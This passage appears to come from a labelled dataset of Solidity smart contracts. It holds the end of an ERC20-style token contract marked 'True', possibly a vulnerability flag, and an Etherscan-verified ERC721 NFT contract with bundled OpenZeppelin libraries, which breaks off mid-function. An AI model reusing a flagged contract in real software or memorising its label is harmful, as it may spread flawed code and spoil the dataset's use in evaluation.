return totalSupply_;
}
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
require(_value > 0);
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function burn(uint256 _value) public onlyOwner returns (bool success) {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
return true;
}
function () public payable {
revert();
}
function distribute(address _to, uint256 _value) public onlyOwner returns (bool) {
require(_to != address(0));
require(_value <= balances[owner]);
balances[owner] = balances[owner].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(owner, _to, _value);
return true;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-03-01
*/
// SPDX-License-Identifier: MIT
/**
==============================================================================
_____ __ _ _____ _ __ _____ _____ _____ _____
/ ___/ | \ | | / _ \ | | / / / ___| / _ \ | _ \ | _ \
| |___ | \| | | | | | | | __ / / | | | | | | | |_| | | |_| |
\___ \ | |\ | | | | | | | / | / / | | | | | | | _ / | ___/
___| | | | \ | | |_| | | |/ |/ / | |___ | |_| | | | \ \ | |
/_____/ |_| \_| \_____/ |___/|___/ \_____| \_____/ |_| \_\ |_|
==============================================================================
**/
// File: @openzeppelin/contracts/utils/math/SafeMath.sol
// OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol)
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/security/Pausable.sol
// OpenZeppelin Contracts v4.4.1 (security/Pausable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor() {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
